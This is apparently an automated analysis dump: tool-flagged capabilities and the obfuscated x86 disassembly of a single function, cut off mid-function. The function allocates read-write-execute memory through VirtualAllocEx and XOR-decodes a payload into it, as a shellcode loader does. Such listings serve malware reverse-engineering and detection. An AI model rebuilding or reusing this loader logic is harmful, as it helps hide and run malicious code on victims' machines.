Function at 0x406eb0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x274
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 8]
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xb4], 0
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0xcc], 0xb23cea65
mov eax, dword [ebp - 0xcc]
mov ecx, eax
sub ecx, 0x77c04bc6
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xd4], ecx
jg 0x40753b
jmp 0x406f6b
mov eax, dword [ebp - 0xd0]
sub eax, 0x62aeef05
mov dword [ebp - 0xd8], eax
jg 0x40751f
jmp 0x406f87
mov eax, dword [ebp - 0xd0]
sub eax, 0x547f5429
mov dword [ebp - 0xdc], eax
jg 0x407503
jmp 0x406fa3
mov eax, dword [ebp - 0xd0]
sub eax, 0x90e20155
mov dword [ebp - 0xe0], eax
jg 0x406fdb
jmp 0x406fbf
mov eax, dword [ebp - 0xd0]
sub eax, 0x8c54f66f
mov dword [ebp - 0xe4], eax
je 0x4083bb
jmp 0x407557
mov eax, dword [ebp - 0xd0]
sub eax, 0xa7557bd9
mov dword [ebp - 0xe8], eax
jg 0x407013
jmp 0x406ff7
mov eax, dword [ebp - 0xd0]
sub eax, 0x90e20156
mov dword [ebp - 0xec], eax
je 0x407eee
jmp 0x407557
mov eax, dword [ebp - 0xd0]
sub eax, 0xa8567922
mov dword [ebp - 0xf0], eax
jg 0x40704b
jmp 0x40702f
mov eax, dword [ebp - 0xd0]
sub eax, 0xa7557bda
mov dword [ebp - 0xf4], eax
je 0x4075bb
jmp 0x407557
mov eax, dword [ebp - 0xd0]
sub eax, 0xaa62daa0
mov dword [ebp - 0xf8], eax
jg 0x407083
jmp 0x407067
mov eax, dword [ebp - 0xd0]
sub eax, 0xa8567923
mov dword [ebp - 0xfc], eax
je 0x40783f
jmp 0x407557
mov eax, dword [ebp - 0xd0]
sub eax, 0xab72e858
mov dword [ebp - 0x100], eax
jg 0x4070bb
jmp 0x40709f
mov eax, dword [ebp - 0xd0]
sub eax, 0xaa62daa1
mov dword [ebp - 0x104], eax
je 0x4081e8
jmp 0x407557
mov eax, dword [ebp - 0xd0]
sub eax, 0xace6562d
mov dword [ebp - 0x108], eax
jg 0x4070f3
jmp 0x4070d7
mov eax, dword [ebp - 0xd0]
sub eax, 0xab72e859
mov dword [ebp - 0x10c], eax
je 0x407bf2
jmp 0x407557
mov eax, dword [ebp - 0xd0]
sub eax, 0xaf34a7c7
mov dword [ebp - 0x110], eax
jg 0x40712b
jmp 0x40710f
mov eax, dword [ebp - 0xd0]
sub eax, 0xace6562e
mov dword [ebp - 0x114], eax
je 0x4082c6
jmp 0x407557
mov eax, dword [ebp - 0xd0]
sub eax, 0x47861b31
mov dword [ebp - 0x118], eax
jg 0x4074e7
jmp 0x407147
mov eax, dword [ebp - 0xd0]
add eax, 0xb9740caa
mov dword [ebp - 0x11c], eax
jg 0x4074cb
jmp 0x407164
mov eax, dword [ebp - 0xd0]
sub eax, 0x3d0b302d
mov dword [ebp - 0x120], eax
jg 0x4074af
jmp 0x407180
mov eax, dword [ebp - 0xd0]
sub eax, 0x20de11b5
mov dword [ebp - 0x124], eax
jg 0x407492
jmp 0x40719c
mov eax, dword [ebp - 0xd0]
sub eax, 0x25de210
mov dword [ebp - 0x128], eax
jg 0x407476
jmp 0x4071b8
mov eax, dword [ebp - 0xd0]
sub eax, 0xf16eb512
mov dword [ebp - 0x12c], eax
jg 0x40745a
jmp 0x4071d4
mov eax, dword [ebp - 0xd0]
add eax, 0x1832bd47
mov dword [ebp - 0x130], eax
jg 0x40743e
jmp 0x4071f1
mov eax, dword [ebp - 0xd0]
sub eax, 0xd761d053
mov dword [ebp - 0x134], eax
jg 0x407422
jmp 0x40720d
mov eax, dword [ebp - 0xd0]
add eax, 0x3366d917
mov dword [ebp - 0x138], eax
jg 0x407406
jmp 0x40722a
mov eax, dword [ebp - 0xd0]
sub eax, 0xb00cd2a3
mov dword [ebp - 0x13c], eax
jg 0x407262
jmp 0x407246
mov eax, dword [ebp - 0xd0]
sub eax, 0xaf34a7c8
mov dword [ebp - 0x140], eax
je 0x407827
jmp 0x407557
mov eax, dword [ebp - 0xd0]
sub eax, 0xb23cea64
mov dword [ebp - 0x144], eax
jg 0x40729a
jmp 0x40727e
mov eax, dword [ebp - 0xd0]
sub eax, 0xb00cd2a4
mov dword [ebp - 0x148], eax
je 0x40757d
jmp 0x407557
mov eax, dword [ebp - 0xd0]
sub eax, 0xb2e892d8
mov dword [ebp - 0x14c], eax
jg 0x4072d2
jmp 0x4072b6
mov eax, dword [ebp - 0xd0]
sub eax, 0xb23cea65
mov dword [ebp - 0x150], eax
je 0x40755c
jmp 0x407557
mov eax, dword [ebp - 0xd0]
sub eax, 0xc33d3a1f
mov dword [ebp - 0x154], eax
jg 0x40730a
jmp 0x4072ee
mov eax, dword [ebp - 0xd0]
sub eax, 0xb2e892d9
mov dword [ebp - 0x158], eax
je 0x407fb4
jmp 0x407557
mov eax, dword [ebp - 0xd0]
sub eax, 0xc435d8ef
mov dword [ebp - 0x15c], eax
jg 0x407342
jmp 0x407326
mov eax, dword [ebp - 0xd0]
sub eax, 0xc33d3a20
mov dword [ebp - 0x160], eax
je 0x408394
jmp 0x407557
mov eax, dword [ebp - 0xd0]
sub eax, 0xc6d6ba65
mov dword [ebp - 0x164], eax
jg 0x40737a
jmp 0x40735e
mov eax, dword [ebp - 0xd0]
sub eax, 0xc435d8f0
mov dword [ebp - 0x168], eax
je 0x407805
jmp 0x407557
mov eax, dword [ebp - 0xd0]
sub eax, 0xc7e602ec
mov dword [ebp - 0x16c], eax
jg 0x4073b2
jmp 0x407396
mov eax, dword [ebp - 0xd0]
sub eax, 0xc6d6ba66
mov dword [ebp - 0x170], eax
je 0x407cc3
jmp 0x407557
mov eax, dword [ebp - 0xd0]
sub eax, 0xc7e602ed
mov dword [ebp - 0x174], eax
je 0x4077ef
jmp 0x4073ce
mov eax, dword [ebp - 0xd0]
sub eax, 0xcadb9dc1
mov dword [ebp - 0x178], eax
je 0x4082d5
jmp 0x4073ea
mov eax, dword [ebp - 0xd0]
sub eax, 0xcb54b16e
mov dword [ebp - 0x17c], eax
je 0x407907
jmp 0x407557
mov eax, dword [ebp - 0xd0]
sub eax, 0xcc9926ea
mov dword [ebp - 0x180], eax
je 0x40759c
jmp 0x407557
mov eax, dword [ebp - 0xd0]
sub eax, 0xd761d054
mov dword [ebp - 0x184], eax
je 0x40831a
jmp 0x407557
mov eax, dword [ebp - 0xd0]
sub eax, 0xe7cd42ba
mov dword [ebp - 0x188], eax
je 0x408228
jmp 0x407557
mov eax, dword [ebp - 0xd0]
sub eax, 0xf16eb513
mov dword [ebp - 0x18c], eax
je 0x4075d1
jmp 0x407557
mov eax, dword [ebp - 0xd0]
sub eax, 0x25de211
mov dword [ebp - 0x190], eax
je 0x408201
jmp 0x407557
mov eax, dword [ebp - 0xd0]
add eax, 0xdf21ee4a
mov dword [ebp - 0x194], eax
je 0x4079af
jmp 0x407557
mov eax, dword [ebp - 0xd0]
sub eax, 0x3d0b302e
mov dword [ebp - 0x198], eax
je 0x4083a3
jmp 0x407557
mov eax, dword [ebp - 0xd0]
sub eax, 0x468bf357
mov dword [ebp - 0x19c], eax
je 0x4082ad
jmp 0x407557
mov eax, dword [ebp - 0xd0]
sub eax, 0x47861b32
mov dword [ebp - 0x1a0], eax
je 0x40798e
jmp 0x407557
mov eax, dword [ebp - 0xd0]
sub eax, 0x547f542a
mov dword [ebp - 0x1a4], eax
je 0x407fc3
jmp 0x407557
mov eax, dword [ebp - 0xd0]
sub eax, 0x62aeef06
mov dword [ebp - 0x1a8], eax
je 0x40791d
jmp 0x407557
mov eax, dword [ebp - 0xd0]
sub eax, 0x77c04bc7
mov dword [ebp - 0x1ac], eax
je 0x40834c
jmp 0x407557
jmp 0x4083c9
mov eax, 0xb00cd2a4
mov ecx, 0xa7557bda
mov edx, dword [ebp - 0x68]
cmp edx, 0
cmove eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x4083c9
mov eax, 0xcc9926ea
mov ecx, 0xa7557bda
cmp dword [ebp - 0x74], 0
cmove eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x4083c9
mov eax, 0xf16eb513
mov ecx, 0xa7557bda
cmp dword [ebp - 0x70], 0
cmove eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x4083c9
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0xcc], 0x8c54f66f
jmp 0x4083c9
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x64], 0xda7bb210
mov eax, dword [ebp - 0x64]
mov ecx, eax
sub ecx, 0xb0abc34c
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1b4], ecx
jg 0x407623
jmp 0x407607
mov eax, dword [ebp - 0x1b0]
sub eax, 0x896a8dce
mov dword [ebp - 0x1b8], eax
je 0x407742
jmp 0x40771f
mov eax, dword [ebp - 0x1b0]
sub eax, 0xc8d2ae2a
mov dword [ebp - 0x1bc], eax
jg 0x40765b
jmp 0x40763f
mov eax, dword [ebp - 0x1b0]
sub eax, 0xb0abc34d
mov dword [ebp - 0x1c0], eax
je 0x40776c
jmp 0x40771f
mov eax, dword [ebp - 0x1b0]
sub eax, 0x46f846f
mov dword [ebp - 0x1c4], eax
jg 0x407703
jmp 0x407677
mov eax, dword [ebp - 0x1b0]
sub eax, 0xec746d34
mov dword [ebp - 0x1c8], eax
jg 0x4076e7
jmp 0x407693
mov eax, dword [ebp - 0x1b0]
sub eax, 0xc8d2ae2b
mov dword [ebp - 0x1cc], eax
je 0x40778a
jmp 0x4076af
mov eax, dword [ebp - 0x1b0]
sub eax, 0xd26a17c4
mov dword [ebp - 0x1d0], eax
je 0x407796
jmp 0x4076cb
mov eax, dword [ebp - 0x1b0]
sub eax, 0xda7bb210
mov dword [ebp - 0x1d4], eax
je 0x407724
jmp 0x40771f
mov eax, dword [ebp - 0x1b0]
sub eax, 0xec746d35
mov dword [ebp - 0x1d8], eax
je 0x4077b7
jmp 0x40771f
mov eax, dword [ebp - 0x1b0]
sub eax, 0x46f8470
mov dword [ebp - 0x1dc], eax
je 0x4077ca
jmp 0x40771f
jmp 0x4077c5
mov eax, 0xec746d35
mov ecx, 0x896a8dce
mov edx, dword [ebp - 0x60]
cmp edx, dword [0x418530]
cmovb eax, ecx
mov dword [ebp - 0x64], eax
jmp 0x4077c5
mov eax, 0xc8d2ae2b
mov ecx, 0xb0abc34d
lea edx, [0x418500]
imul esi, dword [ebp - 0x60], 0xc
add edx, esi
mov edx, dword [edx + 4]
cmp edx, dword [ebp - 0x5c]
cmove eax, ecx
mov dword [ebp - 0x64], eax
jmp 0x4077c5
lea eax, [0x418500]
imul ecx, dword [ebp - 0x60], 0xc
add eax, ecx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x64], 0x46f8470
jmp 0x4077c5
mov dword [ebp - 0x64], 0xd26a17c4
jmp 0x4077c5
mov eax, dword [ebp - 0x60]
add eax, 0x410d5581
add eax, 1
sub eax, 0x410d5581
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x64], 0xda7bb210
jmp 0x4077c5
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x64], 0x46f8470
jmp 0x4075e5
mov eax, 0xc435d8f0
mov ecx, 0xc7e602ed
mov edx, dword [ebp - 0x58]
mov dword [ebp - 0x80], edx
cmp dword [ebp - 0x80], 0
cmove eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x4083c9
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0xcc], 0x8c54f66f
jmp 0x4083c9
mov eax, 0xa8567923
mov ecx, 0xaf34a7c8
mov edx, dword [ebp - 0x80]
cmp dword [edx + 8], 0
cmovne eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x4083c9
mov eax, dword [ebp - 0x80]
mov eax, dword [eax + 8]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0xcc], 0x8c54f66f
jmp 0x4083c9
lea eax, [0x418538]
mov ecx, dword [ebp - 0x80]
add eax, dword [ecx]
mov dword [ebp - 0x7c], eax
call fcn.00406810
mov ecx, 0
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x7c]
add eax, 0x2f
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax + 0x23]
shl eax, 1
mov edx, dword [ebp - 0x7c]
add edx, 0x2f
shl eax, 2
add edx, eax
mov dword [ebp - 0x8c], edx
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax + 0x23]
shl eax, 1
mov edx, dword [ebp - 0x7c]
mov edx, dword [edx + 0x27]
shl edx, 1
sub ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x7c]
add ecx, 0x2f
shl eax, 2
add ecx, eax
mov dword [ebp - 0x94], ecx
mov eax, dword [ebp - 0x70]
mov ecx, esp
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], 0x1000
mov dword [ecx + 0x10], 0x40
mov dword [ecx + 4], 0
mov dword [ecx], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov ecx, 0x62aeef06
mov edx, 0xcb54b16e
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0
cmove ecx, edx
mov dword [ebp - 0xcc], ecx
jmp 0x4083c9
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0xcc], 0x8c54f66f
jmp 0x4083c9
mov eax, 0
mov ecx, dword [ebp - 0xc4]
mov edx, dword [0x418534]
mov esi, eax
sub esi, edx
add ecx, esi
mov dword [ebp - 0xc8], ecx
mov ecx, dword [ebp - 0x9c]
mov edx, dword [ebp - 0x80]
mov dword [edx + 8], ecx
mov ecx, dword [ebp - 0x78]
mov edx, dword [ebp - 0xc4]
mov esi, eax
sub esi, ecx
mov ecx, eax
sub ecx, edx
add esi, ecx
sub eax, esi
mov dword [ebp - 0x98], eax
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xcc], 0x47861b32
jmp 0x4083c9
mov eax, 0x3d0b302e
mov ecx, 0x20de11b6
mov edx, dword [ebp - 0xa4]
cmp edx, dword [ebp - 0x70]
cmovb eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x4083c9
mov eax, 0
mov ecx, dword [ebp - 0x78]
mov edx, dword [ebp - 0xa4]
sub eax, edx
sub ecx, eax
mov dword [ebp - 0xb8], ecx
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx + 0x23]
mov edx, dword [ebp - 0x84]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0x6190d179
mov eax, dword [ebp - 0x24]
mov ecx, eax
sub ecx, 0xc78a57fe
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1e4], ecx
jg 0x407a2e
jmp 0x407a12
mov eax, dword [ebp - 0x1e0]
sub eax, 0xb77003eb
mov dword [ebp - 0x1e8], eax
je 0x407b4a
jmp 0x407b2a
mov eax, dword [ebp - 0x1e0]
sub eax, 0x1f6df2ea
mov dword [ebp - 0x1ec], eax
jg 0x407a66
jmp 0x407a4a
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc78a57ff
mov dword [ebp - 0x1f0], eax
je 0x407bcb
jmp 0x407b2a
mov eax, dword [ebp - 0x1e0]
sub eax, 0x745a6e78
mov dword [ebp - 0x1f4], eax
jg 0x407b0e
jmp 0x407a82
mov eax, dword [ebp - 0x1e0]
sub eax, 0x65f24648
mov dword [ebp - 0x1f8], eax
jg 0x407af2
jmp 0x407a9e
mov eax, dword [ebp - 0x1e0]
sub eax, 0x1f6df2eb
mov dword [ebp - 0x1fc], eax
je 0x407b91
jmp 0x407aba
mov eax, dword [ebp - 0x1e0]
sub eax, 0x22fb8ff4
mov dword [ebp - 0x200], eax
je 0x407bb8
jmp 0x407ad6
mov eax, dword [ebp - 0x1e0]
sub eax, 0x6190d179
mov dword [ebp - 0x204], eax
je 0x407b2f
jmp 0x407b2a
mov eax, dword [ebp - 0x1e0]
sub eax, 0x65f24649
mov dword [ebp - 0x208], eax
je 0x407b6b
jmp 0x407b2a
mov eax, dword [ebp - 0x1e0]
sub eax, 0x745a6e79
mov dword [ebp - 0x20c], eax
je 0x407b85
jmp 0x407b2a
jmp 0x407bc6
mov eax, 0x22fb8ff4
mov ecx, 0xb77003eb
mov edx, dword [ebp - 0x20]
cmp edx, dword [ebp - 0x18]
cmovb eax, ecx
mov dword [ebp - 0x24], eax
jmp 0x407bc6
mov eax, 0x745a6e79
mov ecx, 0x65f24649
mov edx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
mov edx, dword [esi + edx*8]
cmp edx, dword [ebp - 0x14]
cmove eax, ecx
mov dword [ebp - 0x24], eax
jmp 0x407bc6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x24], 0xc78a57ff
jmp 0x407bc6
mov dword [ebp - 0x24], 0x1f6df2eb
jmp 0x407bc6
mov eax, 0
mov ecx, dword [ebp - 0x20]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], 0x6190d179
jmp 0x407bc6
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x24], 0xc78a57ff
jmp 0x4079f0
mov eax, 0xc6d6ba66
mov ecx, 0xab72e859
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x88], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x4083c9
mov eax, dword [ebp - 0x88]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx + 0x1f]
mov edx, eax
xor edx, 0xffffffff
mov esi, ecx
and esi, edx
xor ecx, 0xffffffff
and eax, ecx
or esi, eax
mov eax, dword [ebp - 0xc4]
add esi, 0xbc0dc032
add esi, eax
sub esi, 0xbc0dc032
mov dword [ebp - 0xbc], esi
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0x9c]
mov edx, dword [ebp - 0xa4]
sub ecx, 0xd6ed3b43
add ecx, edx
add ecx, 0xd6ed3b43
sub ecx, 0xcabc4b1c
add ecx, 4
add ecx, 0xcabc4b1c
add eax, 0x69c5fe9b
sub eax, ecx
sub eax, 0x69c5fe9b
mov ecx, dword [ebp - 0x9c]
mov edx, dword [ebp - 0xa4]
mov dword [ecx + edx], eax
mov eax, dword [ebp - 0xa4]
add eax, 0x38055a38
add eax, 4
sub eax, 0x38055a38
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0xb0]
sub eax, 0xdccc22ba
add eax, 1
add eax, 0xdccc22ba
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xcc], 0x47861b32
jmp 0x4083c9
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx + 0x27]
mov edx, dword [ebp - 0x8c]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0x6190d179
mov eax, dword [ebp - 0x3c]
mov ecx, eax
sub ecx, 0xc78a57fe
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x214], ecx
jg 0x407d2a
jmp 0x407d0e
mov eax, dword [ebp - 0x210]
sub eax, 0xb77003eb
mov dword [ebp - 0x218], eax
je 0x407e46
jmp 0x407e26
mov eax, dword [ebp - 0x210]
sub eax, 0x1f6df2ea
mov dword [ebp - 0x21c], eax
jg 0x407d62
jmp 0x407d46
mov eax, dword [ebp - 0x210]
sub eax, 0xc78a57ff
mov dword [ebp - 0x220], eax
je 0x407ec7
jmp 0x407e26
mov eax, dword [ebp - 0x210]
sub eax, 0x745a6e78
mov dword [ebp - 0x224], eax
jg 0x407e0a
jmp 0x407d7e
mov eax, dword [ebp - 0x210]
sub eax, 0x65f24648
mov dword [ebp - 0x228], eax
jg 0x407dee
jmp 0x407d9a
mov eax, dword [ebp - 0x210]
sub eax, 0x1f6df2eb
mov dword [ebp - 0x22c], eax
je 0x407e8d
jmp 0x407db6
mov eax, dword [ebp - 0x210]
sub eax, 0x22fb8ff4
mov dword [ebp - 0x230], eax
je 0x407eb4
jmp 0x407dd2
mov eax, dword [ebp - 0x210]
sub eax, 0x6190d179
mov dword [ebp - 0x234], eax
je 0x407e2b
jmp 0x407e26
mov eax, dword [ebp - 0x210]
sub eax, 0x65f24649
mov dword [ebp - 0x238], eax
je 0x407e67
jmp 0x407e26
mov eax, dword [ebp - 0x210]
sub eax, 0x745a6e79
mov dword [ebp - 0x23c], eax
je 0x407e81
jmp 0x407e26
jmp 0x407ec2
mov eax, 0x22fb8ff4
mov ecx, 0xb77003eb
mov edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 0x30]
cmovb eax, ecx
mov dword [ebp - 0x3c], eax
jmp 0x407ec2
mov eax, 0x745a6e79
mov ecx, 0x65f24649
mov edx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov edx, dword [esi + edx*8]
cmp edx, dword [ebp - 0x2c]
cmove eax, ecx
mov dword [ebp - 0x3c], eax
jmp 0x407ec2
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x3c], 0xc78a57ff
jmp 0x407ec2
mov dword [ebp - 0x3c], 0x1f6df2eb
jmp 0x407ec2
mov eax, 0
mov ecx, dword [ebp - 0x38]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], 0x6190d179
jmp 0x407ec2
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x3c], 0xc78a57ff
jmp 0x407cec
mov eax, 0xb2e892d9
mov ecx, 0x90e20156
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x88], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x4083c9
mov eax, 0
mov ecx, 0xffffffff
mov edx, dword [ebp - 0xb8]
mov esi, dword [ebp - 0xc4]
mov edi, eax
sub edi, esi
sub edx, edi
mov edx, dword [edx]
mov esi, dword [ebp - 0xc8]
mov edi, eax
sub edi, esi
add edx, edi
mov esi, dword [ebp - 0x7c]
mov esi, dword [esi + 0x1f]
mov edi, edx
xor edi, 0xffffffff
and edi, 0xfc942a8c
xor ecx, 0xfc942a8c
and edx, ecx
mov ebx, esi
xor ebx, 0xffffffff
and ebx, 0xfc942a8c
and esi, ecx
or edi, edx
or ebx, esi
xor edi, ebx
mov ecx, dword [ebp - 0xc8]
sub eax, ecx
sub edi, eax
mov dword [ebp - 0xc0], edi
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x9c]
mov edx, dword [ebp - 0xa4]
mov dword [ecx + edx], eax
mov eax, dword [ebp - 0xa4]
sub eax, 0x9f7058a3
add eax, 4
add eax, 0x9f7058a3
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0xb4]
add eax, 0xe941bc29
add eax, 1
sub eax, 0xe941bc29
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xcc], 0x47861b32
jmp 0x4083c9
mov dword [ebp - 0xcc], 0x547f542a
jmp 0x4083c9
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx + 0x2b]
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], 0x519168da
mov eax, dword [ebp - 0x54]
mov ecx, eax
sub ecx, 0x7f7560f2
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x244], ecx
jg 0x40810a
jmp 0x40800e
mov eax, dword [ebp - 0x240]
sub eax, 0x519168d9
mov dword [ebp - 0x248], eax
jg 0x4080ee
jmp 0x40802a
mov eax, dword [ebp - 0x240]
sub eax, 0xc2e820c4
mov dword [ebp - 0x24c], eax
jg 0x4080d2
jmp 0x408046
mov eax, dword [ebp - 0x240]
sub eax, 0x85c4ef37
mov dword [ebp - 0x250], eax
jg 0x40807e
jmp 0x408062
mov eax, dword [ebp - 0x240]
sub eax, 0x80825517
mov dword [ebp - 0x254], eax
je 0x4081c1
jmp 0x408126
mov eax, dword [ebp - 0x240]
sub eax, 0x85c4ef38
mov dword [ebp - 0x258], eax
je 0x408167
jmp 0x40809a
mov eax, dword [ebp - 0x240]
sub eax, 0xa84dce87
mov dword [ebp - 0x25c], eax
je 0x408181
jmp 0x4080b6
mov eax, dword [ebp - 0x240]
sub eax, 0xad14803e
mov dword [ebp - 0x260], eax
je 0x408146
jmp 0x408126
mov eax, dword [ebp - 0x240]
sub eax, 0xc2e820c5
mov dword [ebp - 0x264], eax
je 0x4081ae
jmp 0x408126
mov eax, dword [ebp - 0x240]
sub eax, 0x519168da
mov dword [ebp - 0x268], eax
je 0x40812b
jmp 0x408126
mov eax, dword [ebp - 0x240]
sub eax, 0x7f7560f3
mov dword [ebp - 0x26c], eax
je 0x40818d
jmp 0x408126
jmp 0x4081bc
mov eax, 0xc2e820c5
mov ecx, 0xad14803e
mov edx, dword [ebp - 0x50]
cmp edx, dword [ebp - 0x48]
cmovb eax, ecx
mov dword [ebp - 0x54], eax
jmp 0x4081bc
mov eax, 0xa84dce87
mov ecx, 0x85c4ef38
mov edx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
mov edx, dword [esi + edx*8]
cmp edx, dword [ebp - 0x44]
cmove eax, ecx
mov dword [ebp - 0x54], eax
jmp 0x4081bc
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x54], 0x80825517
jmp 0x4081bc
mov dword [ebp - 0x54], 0x7f7560f3
jmp 0x4081bc
mov eax, dword [ebp - 0x50]
sub eax, 0x3a22277a
add eax, 1
add eax, 0x3a22277a
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x54], 0x519168da
jmp 0x4081bc
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x54], 0x80825517
jmp 0x407fec
mov eax, 0x77c04bc7
mov ecx, 0xaa62daa1
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x90], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x4083c9
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xcc], 0x25de211
jmp 0x4083c9
mov eax, 0xd761d054
mov ecx, 0xe7cd42ba
mov edx, dword [ebp - 0xac]
mov esi, dword [ebp - 0x90]
cmp edx, dword [esi + 4]
cmovb eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x4083c9
mov eax, 0xace6562e
mov ecx, 0x468bf357
mov edx, dword [ebp - 0xa4]
mov esi, dword [ebp - 0x98]
movzx edx, byte [esi + edx]
mov esi, dword [ebp - 0xa8]
mov edi, esi
add edi, 0xbdfdfd71
add edi, 1
sub edi, 0xbdfdfd71
mov dword [ebp - 0xa8], edi
mov edi, dword [ebp - 0x7c]
movzx esi, byte [edi + esi + 1]
mov edi, edx
xor edi, 0xffffffff
mov ebx, esi
and ebx, edi
xor esi, 0xffffffff
and edx, esi
or ebx, edx
mov dl, bl
mov esi, dword [ebp - 0xa4]
mov edi, dword [ebp - 0x9c]
mov byte [edi + esi], dl
mov esi, dword [ebp - 0xa8]
mov edi, dword [ebp - 0x7c]
movzx edi, byte [edi]
cmp esi, edi
cmove eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x4083c9
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xcc], 0xace6562e
jmp 0x4083c9
mov dword [ebp - 0xcc], 0xcadb9dc1
jmp 0x4083c9
mov eax, dword [ebp - 0xac]
sub eax, 0x24b1e75c
add eax, 1
add eax, 0x24b1e75c
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0xa4]
add eax, 0xe1124f7d
add eax, 1
sub eax, 0xe1124f7d
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xcc], 0x25de211
jmp 0x4083c9
mov eax, 0
mov ecx, dword [ebp - 0xac]
mov edx, dword [ebp - 0xa0]
mov esi, eax
sub esi, edx
mov edx, eax
sub edx, ecx
add esi, edx
sub eax, esi
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0xcc], 0xc33d3a20
jmp 0x4083c9
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x98]
mov dl, byte [ecx + eax]
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x9c]
mov byte [ecx + eax], dl
mov eax, dword [ebp - 0xa4]
